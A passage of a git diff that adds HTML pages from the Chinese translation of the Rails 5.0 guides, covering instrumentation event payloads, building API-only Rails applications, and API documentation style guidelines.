+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.5 write_page.action_controller

+ + + + + + + + + + + + + +
:path完整的路径
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.6 expire_page.action_controller

+ + + + + + + + + + + + + +
:path完整的路径
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.7 start_processing.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:controller控制器名
:action动作名
:params请求参数散列,不过滤
:headers请求首部
:formathtml、js、json、xml 等
:methodHTTP 请求方法
:path请求路径
+
+
+{
+  controller: "PostsController",
+  action: "new",
+  params: { "action" => "new", "controller" => "posts" },
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts/new"
+}
+
+
+
+

3.8 process_action.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:controller控制器名
:action动作名
:params请求参数散列,不过滤
:headers请求首部
:formathtml、js、json、xml 等
:methodHTTP 请求方法
:path请求路径
:statusHTTP 状态码
:view_runtime花在视图上的时间量(ms)
:db_runtime执行数据库查询的时间量(ms)
+
+
+{
+  controller: "PostsController",
+  action: "index",
+  params: {"action" => "index", "controller" => "posts"},
+  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
+  format: :html,
+  method: "GET",
+  path: "/posts",
+  status: 200,
+  view_runtime: 46.848,
+  db_runtime: 0.157
+}
+
+
+
+

3.9 send_file.action_controller

+ + + + + + + + + + + + + +
:path文件的完整路径
+

调用方可以添加额外的键。

3.10 send_data.action_controller

ActionController 在载荷(payload)中没有任何特定的信息。所有选项都传到载荷中。

3.11 redirect_to.action_controller

+ + + + + + + + + + + + + + + + + +
:statusHTTP 响应码
:location重定向的 URL
+
+
+{
+  status: 302,
+  location: "http://localhost:3000/posts/new"
+}
+
+
+
+

3.12 halted_callback.action_controller

+ + + + + + + + + + + + + +
:filter过滤暂停的动作
+
+
+{
+  filter: ":halting_filter"
+}
+
+
+
+

4 Action View

4.1 render_template.action_view

+ + + + + + + + + + + + + + + + + +
:identifier模板的完整路径
:layout使用的布局
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application"
+}
+
+
+
+

4.2 render-partial-action-view

+ + + + + + + + + + + + + +
:identifier模板的完整路径
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
+}
+
+
+
+

4.3 render_collection.action_view

+ + + + + + + + + + + + + + + + + + + + + +
:identifier模板的完整路径
:count集合的大小
:cache_hits从缓存中获取的局部视图数量
+

仅当渲染集合时设定了 cached: true 选项,才有 :cache_hits 键。

+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
+  count: 3,
+  cache_hits: 0
+}
+
+
+
+

5 Active Record

5.1 sql.active_record

+ + + + + + + + + + + + + + + + + + + + + + + + + +
:sqlSQL 语句
:name操作的名称
:connection_idself.object_id
:binds绑定的参数
+

适配器也会添加数据。

+
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  connection_id: 70307250813140,
+  binds: []
+}
+
+
+
+

5.2 instantiation.active_record

+ + + + + + + + + + + + + + + + + +
:record_count实例化记录的数量
:class_name记录所属的类
+
+
+{
+  record_count: 1,
+  class_name: "User"
+}
+
+
+
+

6 Action Mailer

6.1 receive.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:mailer邮件程序类的名称
:message_id邮件的 ID,由 Mail gem 生成
:subject邮件的主题
:to邮件的收件地址
:from邮件的发件地址
:bcc邮件的密送地址
:cc邮件的抄送地址
:date发送邮件的日期
:mail邮件的编码形式
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # 为了节省空间,省略
+}
+
+
+
+

6.2 deliver.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:mailer邮件程序类的名称
:message_id邮件的 ID,由 Mail gem 生成
:subject邮件的主题
:to邮件的收件地址
:from邮件的发件地址
:bcc邮件的密送地址
:cc邮件的抄送地址
:date发送邮件的日期
:mail邮件的编码形式
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # 为了节省空间,省略
+}
+
+
+
+

7 Active Support

7.1 cache_read.active_support

+ + + + + + + + + + + + + + + + + + + + + +
:key存储器中使用的键
:hit是否读取了缓存
:super_operation如果使用 #fetch 读取了,添加 :fetch
+

7.2 cache_generate.active_support

仅当使用块调用 #fetch 时使用这个事件。

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

写入存储器时,传给 fetch 的选项会合并到载荷中。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.3 cache_fetch_hit.active_support

仅当使用块调用 #fetch 时使用这个事件。

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

传给 fetch 的选项会合并到载荷中。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.4 cache_write.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+

缓存存储器可能会添加其他键。

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.5 cache_delete.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

7.6 cache_exist?.active_support

+ + + + + + + + + + + + + +
:key存储器中使用的键
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8 Active Job

8.1 enqueue_at.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.2 enqueue.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.3 perform_start.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

8.4 perform.active_job

+ + + + + + + + + + + + + + + + + +
:adapter处理作业的 QueueAdapter 对象
:job作业对象
+

9 Railties

9.1 load_config_initializer.railties

+ + + + + + + + + + + + + +
:initializer从 config/initializers 中加载的初始化脚本的路径
+

10 Rails

10.1 deprecation.rails

+ + + + + + + + + + + + + + + + + +
:message弃用提醒
:callstack弃用的位置
+

11 订阅事件

订阅事件是件简单的事,在 ActiveSupport::Notifications.subscribe 的块中监听通知即可。

这个块接收下述参数:

+
    +
  • 事件的名称

  • +
  • 开始时间

  • +
  • 结束时间

  • +
  • 事件的唯一 ID

  • +
  • 载荷(参见前述各节)

  • +
+
+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # 自己编写的其他代码
+  Rails.logger.info "#{name} Received!"
+end
+
+
+
+

每次都定义这些块参数很麻烦,我们可以使用 ActiveSupport::Notifications::Event 创建块参数,如下:

+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notifications::Event.new *args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
+
+
+
+

多数时候,我们只关注数据本身。下面是只获取数据的简洁方式:

+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { extra: :information }
+end
+
+
+
+

此外,还可以订阅匹配正则表达式的事件。这样可以一次订阅多个事件。下面是订阅 ActionController 中所有事件的方式:

+
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # 审查所有 ActionController 事件
+end
+
+
+
+

12 自定义事件

自己添加事件也很简单,繁重的工作都由 ActiveSupport::Notifications 代劳,我们只需调用 instrument,并传入 namepayload 和一个块。通知在块返回后发送。ActiveSupport 会生成起始时间和唯一的 ID。传给 instrument 调用的所有数据都会放入载荷中。

下面举个例子:

+
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+  # 自己编写的其他代码
+end
+
+
+
+

然后可以使用下述代码监听这个事件:

+
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+
+
+
+

自己定义事件时,应该遵守 Rails 的约定。事件名称的格式是 event.library。如果应用发送推文,应该把事件命名为 tweet.twitter

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/api_app.html b/v5.0/api_app.html new file mode 100644 index 0000000..35590c5 --- /dev/null +++ b/v5.0/api_app.html @@ -0,0 +1,476 @@ + + + + + + + +使用 Rails 开发只提供 API 的应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

使用 Rails 开发只提供 API 的应用

在本文中您将学到:

+
    +
  • Rails 对只提供 API 的应用的支持;

  • +
  • 如何配置 Rails,不使用任何针对浏览器的功能;

  • +
  • 如何决定使用哪些中间件;

  • +
  • 如何决定在控制器中使用哪些模块。

  • +
+ + + + +
+
+ +
+
+
+

1 什么是 API 应用?

人们说把 Rails 用作“API”,通常指的是在 Web 应用之外提供一份可通过编程方式访问的 API。例如,GitHub 提供了 API,供你在自己的客户端中使用。

随着客户端框架的出现,越来越多的开发者使用 Rails 构建后端,在 Web 应用和其他原生应用之间共享。

例如,Twitter 使用自己的公开 API 构建 Web 应用,而文档网站是一个静态网站,消费 JSON 资源。

很多人不再使用 Rails 生成 HTML,通过表单和链接与服务器通信,而是把 Web 应用当做 API 客户端,分发包含 JavaScript 的 HTML,消费 JSON API。

本文说明如何构建伺服 JSON 资源的 Rails 应用,供 API 客户端(包括客户端框架)使用。

2 为什么使用 Rails 构建 JSON API?

提到使用 Rails 构建 JSON API,多数人想到的第一个问题是:“使用 Rails 生成 JSON 是不是有点大材小用了?使用 Sinatra 这样的框架是不是更好?”

对特别简单的 API 来说,确实如此。然而,对大量使用 HTML 的应用来说,应用的逻辑大都在视图层之外。

多数人使用 Rails 的原因是,Rails 提供了一系列默认值,开发者能快速上手,而不用做些琐碎的决定。

下面是 Rails 提供的一些开箱即用的功能,这些功能在 API 应用中也适用。

在中间件层处理的功能:

+
    +
  • 重新加载:Rails 应用支持简单明了的重新加载机制。即使应用变大,每次请求都重启服务器变得不切实际,这一机制依然适用。

  • +
  • 开发模式:Rails 应用自带智能的开发默认值,使得开发过程很愉快,而且不会破坏生产环境的效率。

  • +
  • 测试模式:同开发模式。

  • +
  • 日志:Rails 应用会在日志中记录每次请求,而且为不同环境设定了合适的详细等级。在开发环境中,Rails 记录的信息包括请求环境、数据库查询和基本的性能信息。

  • +
  • 安全性:Rails 能检测并防范 IP 欺骗攻击,还能处理时序攻击中的加密签名。不知道 IP 欺骗攻击和时序攻击是什么?这就对了。

  • +
  • 参数解析:想以 JSON 的形式指定参数,而不是 URL 编码字符串形式?没问题。Rails 会代为解码 JSON,存入 params 中。想使用嵌套的 URL 编码参数?也没问题。

  • +
  • 条件 GET 请求:Rails 能处理条件 GET 请求相关的首部(ETagLast-Modified),然后返回正确的响应首部和状态码。你只需在控制器中使用 stale? 做检查,剩下的 HTTP 细节都由 Rails 处理。

  • +
  • HEAD 请求:Rails 会把 HEAD 请求转换成 GET 请求,只返回首部。这样 HEAD 请求在所有 Rails API 中都可靠。

  • +
+

虽然这些功能可以使用 Rack 中间件实现,但是上述列表的目的是说明 Rails 默认提供的中间件栈提供了大量有价值的功能,即便“只是生成 JSON”也用得到。

在 Action Pack 层处理的功能:

+
    +
  • 资源式路由:如果构建的是 REST 式 JSON API,你会想用 Rails 路由器的。按照约定以简明的方式把 HTTP 映射到控制器上能节省很多时间,不用再从 HTTP 方面思考如何建模 API。

  • +
  • URL 生成:路由的另一面是 URL 生成。基于 HTTP 的优秀 API 包含 URL(比如 GitHub Gist API)。

  • +
  • 首部和重定向响应:head :no_contentredirect_to user_url(http://github.com/current_user) 用着很方便。当然,你可以自己动手添加相应的响应首部,但是为什么要费这事呢?

  • +
  • 缓存:Rails 提供了页面缓存、动作缓存和片段缓存。构建嵌套的 JSON 对象时,片段缓存特别有用。

  • +
  • 基本身份验证、摘要身份验证和令牌身份验证:Rails 默认支持三种 HTTP 身份验证。

  • +
  • 监测程序:Rails 提供了监测 API,在众多事件发生时触发注册的处理程序,例如处理动作、发送文件或数据、重定向和数据库查询。各个事件的载荷中包含相关的信息(对动作处理事件来说,载荷中包括控制器、动作、参数、请求格式、请求方法和完整的请求路径)。

  • +
  • 生成器:通常生成一个资源就能把模型、控制器、测试桩件和路由在一个命令中通通创建出来,然后再做调整。迁移等也有生成器。

  • +
  • 插件:有很多第三方库支持 Rails,这样不必或很少需要花时间设置及把库与 Web 框架连接起来。插件可以重写默认的生成器、添加 Rake 任务,而且继续使用 Rails 选择的处理方式(如日志记录器和缓存后端)。

  • +
+

当然,Rails 启动过程还是要把各个注册的组件连接起来。例如,Rails 启动时会使用 config/database.yml 文件配置 Active Record。

简单来说,你可能没有想过去掉视图层之后要把 Rails 的哪些部分保留下来,不过答案是,多数都要保留。

3 基本配置

如果你构建的 Rails 应用主要用作 API,可以从较小的 Rails 子集开始,然后再根据需要添加功能。

3.1 新建应用

生成 Rails API 应用使用下述命令:

+
+$ rails new my_api --api
+
+
+
+

这个命令主要做三件事:

+
    +
  • 配置应用,使用有限的中间件(比常规应用少)。具体而言,不含默认主要针对浏览器应用的中间件(如提供 cookie 支持的中间件)。

  • +
  • ApplicationController 继承 ActionController::API,而不继承 ActionController::Base。与中间件一样,这样做是为了去除主要针对浏览器应用的 Action Controller 模块。

  • +
  • 配置生成器,生成资源时不生成视图、辅助方法和静态资源。

  • +
+

3.2 修改现有应用

如果你想把现有的应用改成 API 应用,请阅读下述步骤。

config/application.rb 文件中,把下面这行代码添加到 Application 类定义的顶部:

+
+config.api_only = true
+
+
+
+

config/environments/development.rb 文件中,设定 config.debug_exception_response_format 选项,配置在开发环境中出现错误时响应使用的格式。

如果想使用 HTML 页面渲染调试信息,把值设为 :default

+
+config.debug_exception_response_format = :default
+
+
+
+

如果想使用响应所用的格式渲染调试信息,把值设为 :api

+
+config.debug_exception_response_format = :api
+
+
+
+

默认情况下,config.api_only 的值为 true 时,config.debug_exception_response_format 的值是 :api

最后,在 app/controllers/application_controller.rb 文件中,把下述代码

+
+class ApplicationController < ActionController::Base
+end
+
+
+
+

改为

+
+class ApplicationController < ActionController::API
+end
+
+
+
+

4 选择中间件

API 应用默认包含下述中间件:

+
    +
  • Rack::Sendfile

  • +
  • ActionDispatch::Static

  • +
  • ActionDispatch::Executor

  • +
  • ActiveSupport::Cache::Strategy::LocalCache::Middleware

  • +
  • Rack::Runtime

  • +
  • ActionDispatch::RequestId

  • +
  • Rails::Rack::Logger

  • +
  • ActionDispatch::ShowExceptions

  • +
  • ActionDispatch::DebugExceptions

  • +
  • ActionDispatch::RemoteIp

  • +
  • ActionDispatch::Reloader

  • +
  • ActionDispatch::Callbacks

  • +
  • Rack::Head

  • +
  • Rack::ConditionalGet

  • +
  • Rack::ETag

  • +
+

各个中间件的作用参见 内部中间件栈

其他插件,包括 Active Record,可能会添加额外的中间件。一般来说,这些中间件对要构建的应用类型一无所知,可以在只提供 API 的 Rails 应用中使用。

可以通过下述命令列出应用中的所有中间件:

+
+$ rails middleware
+
+
+
+

4.1 使用缓存中间件

默认情况下,Rails 会根据应用的配置提供一个缓存存储器(默认为 memcache)。因此,内置的 HTTP 缓存依靠这个中间件。

例如,使用 stale? 方法:

+
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at)
+    render json: @post
+  end
+end
+
+
+
+

上述 stale? 调用比较请求中的 If-Modified-Since 首部和 @post.updated_at。如果首部的值比最后修改时间晚,这个动作返回“304 未修改”响应;否则,渲染响应,并且设定 Last-Modified 首部。

通常,这个机制会区分客户端。缓存中间件支持跨客户端共享这种缓存机制。跨客户端缓存可以在调用 stale? 时启用:

+
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at, public: true)
+    render json: @post
+  end
+end
+
+
+
+

这表明,缓存中间件会在 Rails 缓存中存储 URL 的 Last-Modified 值,而且为后续对同一个 URL 的入站请求添加 If-Modified-Since 首部。

可以把这种机制理解为使用 HTTP 语义的页面缓存。

4.2 使用 Rack::Sendfile

在 Rails 控制器中使用 send_file 方法时,它会设定 X-Sendfile 首部。Rack::Sendfile 负责发送文件。

如果前端服务器支持加速发送文件,Rack::Sendfile 会把文件交给前端服务器发送。

此时,可以在环境的配置文件中设定 config.action_dispatch.x_sendfile_header 选项,为前端服务器指定首部的名称。

关于如何在流行的前端服务器中使用 Rack::Sendfile,参见 Rack::Sendfile 的文档

下面是两个流行的服务器的配置。这样配置之后,就能支持加速文件发送功能了。

+
+# Apache 和 lighttpd
+config.action_dispatch.x_sendfile_header = "X-Sendfile"
+
+# Nginx
+config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"
+
+
+
+

请按照 Rack::Sendfile 文档中的说明配置你的服务器。

4.3 使用 ActionDispatch::Request

ActionDispatch::Request#params 获取客户端发来的 JSON 格式参数,将其存入 params,可在控制器中访问。

为此,客户端要发送 JSON 编码的参数,并把 Content-Type 设为 application/json

下面以 jQuery 为例:

+
+jQuery.ajax({
+  type: 'POST',
+  url: '/people',
+  dataType: 'json',
+  contentType: 'application/json',
+  data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
+  success: function(json) { }
+});
+
+
+
+

ActionDispatch::Request 检查 Content-Type 后,把参数转换成:

+
+{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }
+
+
+
+

4.4 其他中间件

Rails 自带的其他中间件在 API 应用中可能也会用到,尤其是 API 客户端包含浏览器时:

+
    +
  • Rack::MethodOverride

  • +
  • ActionDispatch::Cookies

  • +
  • ActionDispatch::Flash

  • +
  • +

    管理会话

    +
      +
    • ActionDispatch::Session::CacheStore +
    • +
    • ActionDispatch::Session::CookieStore +
    • +
    • ActionDispatch::Session::MemCacheStore +
    • +
    +
  • +
+

这些中间件可通过下述方式添加:

+
+config.middleware.use Rack::MethodOverride
+
+
+
+

4.5 删除中间件

如果默认的 API 中间件中有不需要使用的,可以通过下述方式将其删除:

+
+config.middleware.delete ::Rack::Sendfile
+
+
+
+

注意,删除中间件后 Action Controller 的特定功能就不可用了。

5 选择控制器模块

API 应用(使用 ActionController::API)默认有下述控制器模块:

+
    +
  • ActionController::UrlFor:提供 url_for 等辅助方法。

  • +
  • ActionController::Redirecting:提供 redirect_to

  • +
  • AbstractController::RenderingActionController::ApiRendering:提供基本的渲染支持。

  • +
  • ActionController::Renderers::All:提供 render :json 等。

  • +
  • ActionController::ConditionalGet:提供 stale?

  • +
  • ActionController::BasicImplicitRender:如果没有显式响应,确保返回一个空响应。

  • +
  • ActionController::StrongParameters:结合 Active Model 批量赋值,提供参数白名单过滤功能。

  • +
  • ActionController::ForceSSL:提供 force_ssl

  • +
  • ActionController::DataStreaming:提供 send_filesend_data

  • +
  • AbstractController::Callbacks:提供 before_action 等方法。

  • +
  • ActionController::Rescue:提供 rescue_from

  • +
  • ActionController::Instrumentation:提供 Action Controller 定义的监测钩子(详情参见 Active Support 监测程序)。

  • +
  • ActionController::ParamsWrapper:把参数散列放到一个嵌套散列中,这样在发送 POST 请求时无需指定根元素。

  • +
+

其他插件可能会添加额外的模块。ActionController::API 引入的模块可以在 Rails 控制台中列出:

+
+$ bin/rails c
+>> ActionController::API.ancestors - ActionController::Metal.ancestors
+
+
+
+

5.1 添加其他模块

所有 Action Controller 模块都知道它们所依赖的模块,因此在控制器中可以放心引入任何模块,所有依赖都会自动引入。

可能想添加的常见模块有:

+
    +
  • AbstractController::Translation:提供本地化和翻译方法 lt

  • +
  • ActionController::HttpAuthentication::Basic(或 DigestToken):提供基本、摘要或令牌 HTTP 身份验证。

  • +
  • ActionView::Layouts:渲染时支持使用布局。

  • +
  • ActionController::MimeResponds:提供 respond_to

  • +
  • ActionController::Cookies:提供 cookies,包括签名和加密 cookie。需要 cookies 中间件支持。

  • +
+

模块最好添加到 ApplicationController 中,不过也可以在各个控制器中添加。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/api_documentation_guidelines.html b/v5.0/api_documentation_guidelines.html new file mode 100644 index 0000000..de0176b --- /dev/null +++ b/v5.0/api_documentation_guidelines.html @@ -0,0 +1,482 @@ + + + + + + + +API 文档指导方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

API 文档指导方针

本文说明 Ruby on Rails 的 API 文档指导方针。

读完本文后,您将学到:

+
    +
  • 如何编写有效的文档;

  • +
  • 为不同 Ruby 代码编写文档的风格指导方针。

  • +
+ + + + +
+
+ +
+
+
+

1 RDoc

Rails API 文档使用 RDoc 生成。如果想生成 API 文档,要在 Rails 根目录中执行 bundle install,然后再执行:

+
+$ bundle exec rake rdoc
+
+
+
+

得到的 HTML 文件在 ./doc/rdoc 目录中。

RDoc 的标记额外的指令参见文档。

2 用词

使用简单的陈述句。简短更好,要说到点子上。

使用现在时:“Returns a hash that…​”,而非“Returned a hash that…​”或“Will return a hash that…​”。

注释的第一个字母大写,后续内容遵守常规的标点符号规则:

+
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+
+
+
+

使用通行的方式与读者交流,可以直言,也可以隐晦。使用当下推荐的习语。如有必要,调整内容的顺序,强调推荐的方式。文档应该说明最佳实践和现代的权威 Rails 用法。

文档应该简洁全面,要指明边缘情况。如果模块是匿名的呢?如果集合是空的呢?如果参数是 nil 呢?

Rails 组件的名称在单词之间有个空格,如“Active Support”。ActiveRecord 是一个 Ruby 模块,而 Active Record 是一个 ORM。所有 Rails 文档都应该始终使用正确的名称引用 Rails 组件。如果你在下一篇博客文章或演示文稿中这么做,人们会觉得你很正规。

拼写要正确:Arel、Test::Unit、RSpec、HTML、MySQL、JavaScript、ERB。如果不确定,请查看一些权威资料,如各自的官方文档。

“SQL”前面使用不定冠词“an”,如“an SQL statement”和“an SQLite database”。

避免使用“you”和“your”。例如,较之

+
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+
+
+
+

这样写更好:

+
+If `return` is needed it is recommended to explicitly define a method.
+
+
+
+

不过,使用代词指代虚构的人时,例如“有会话 cookie 的用户”,应该使用中性代词(they/their/them)。

+
    +
  • 不用 he 或 she,用 they

  • +
  • 不用 him 或 her,用 them

  • +
  • 不用 his 或 her,用 their

  • +
  • 不用 his 或 hers,用 theirs

  • +
  • 不用 himself 或 herself,用 themselves

  • +
+

3 英语

请使用美式英语(color、center、modularize,等等)。美式英语与英式英语之间的拼写差异参见这里

4 牛津式逗号

请使用牛津式逗号(“red, white, and blue”,而非“red, white and blue”)。

5 示例代码

选择有意义的示例,说明基本用法和有趣的点或坑。

代码使用两个空格缩进,即根据标记在左外边距的基础上增加两个空格。示例应该遵守 Rails 编程约定

简短的文档无需明确使用“Examples”标注引入代码片段,直接跟在段后即可:

+
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+
+
+
+

但是大段文档可以单独有个“Examples”部分:

+
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(name: "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+
+
+
+

表达式的结果在表达式之后,使用 “# => ”给出,而且要纵向对齐:

+
+# For checking if an integer is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+
+
+
+

如果一行太长,结果可以放在下一行:

+
+#   label(:article, :title)
+#   # => <label for="article_title">Title</label>
+#
+#   label(:article, :title, "A short title")
+#   # => <label for="article_title">A short title</label>
+#
+#   label(:article, :title, "A short title", class: "title_label")
+#   # => <label for="article_title" class="title_label">A short title</label>
+
+
+
+

不要使用打印方法,如 putsp 给出结果。

常规的注释不使用箭头:

+
+#   polymorphic_url(http://github.com/record)  # same as comment_url(http://github.com/record)
+
+
+
+

6 布尔值

在判断方法或旗标中,尽量使用布尔语义,不要用具体的值。

如果所用的“true”或“false”与 Ruby 定义的一样,使用常规字体。truefalse 两个单例要使用等宽字体。请不要使用“truthy”,Ruby 语言定义了什么是真什么是假,“true”和“false”就能表达技术意义,无需使用其他词代替。

通常,如非绝对必要,不要为单例编写文档。这样能阻止智能的结构,如 !! 或三元运算符,便于重构,而且代码不依赖方法返回的具体值。

例如:

+
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+
+
+
+

用户无需知道旗标具体的默认值,因此我们只说明它的布尔语义。

下面是一个判断方法的文档示例:

+
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+
+
+
+

这个 API 没有提到任何具体的值,知道它具有判断功能就够了。

7 文件名

通常,文件名相对于应用的根目录:

+
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+
+
+
+

8 字体

8.1 等宽字体

使用等宽字体编写:

+
    +
  • 常量,尤其是类名和模块名

  • +
  • 方法名

  • +
  • 字面量,如 nilfalsetrueself

  • +
  • 符号

  • +
  • 方法的参数

  • +
  • 文件名

  • +
+
+
+class Array
+  # Calls +to_param+ on all its elements and joins the result with
+  # slashes. This is used by +url_for+ in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+
+
+
+

只有简单的内容才能使用 +...+ 标记使用等宽字体,如常规的方法名、符号、路径(含有正斜线),等等。其他内容应该使用 <tt>…​</tt>,尤其是带有命名空间的类名或模块名,如 <tt>ActiveRecord::Base</tt>

可以使用下述命令测试 RDoc 的输出:

+
+$ echo "+:to_param+" | rdoc --pipe
+# => <p><code>:to_param</code></p>
+
+
+
+

8.2 常规字体

“true”和“false”是英语单词而不是 Ruby 关键字时,使用常规字体:

+
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+
+
+
+

9 描述列表

在选项、参数等列表中,在项目和描述之间使用一个连字符(而不是一个冒号,因为选项一般是符号):

+
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+
+
+
+

描述开头是大写字母,结尾有一个句号——这是标准的英语。

10 动态生成的方法

使用 (module|class)_eval(STRING) 创建的方法在旁边有个注释,举例说明生成的代码。这种注释与模板之间相距两个空格。

+
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+
+
+
+

如果这样得到的行太长,比如说有 200 多列,把注释放在上方:

+
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+
+
+
+

11 方法可见性

为 Rails 编写文档时,要区分公开 API 和内部 API。

与多数库一样,Rails 使用 Ruby 提供的 private 关键字定义内部 API。然而,公开 API 遵照的约定稍有不同。不是所有公开方法都旨在供用户使用,Rails 使用 :nodoc: 指令注解内部 API 方法。

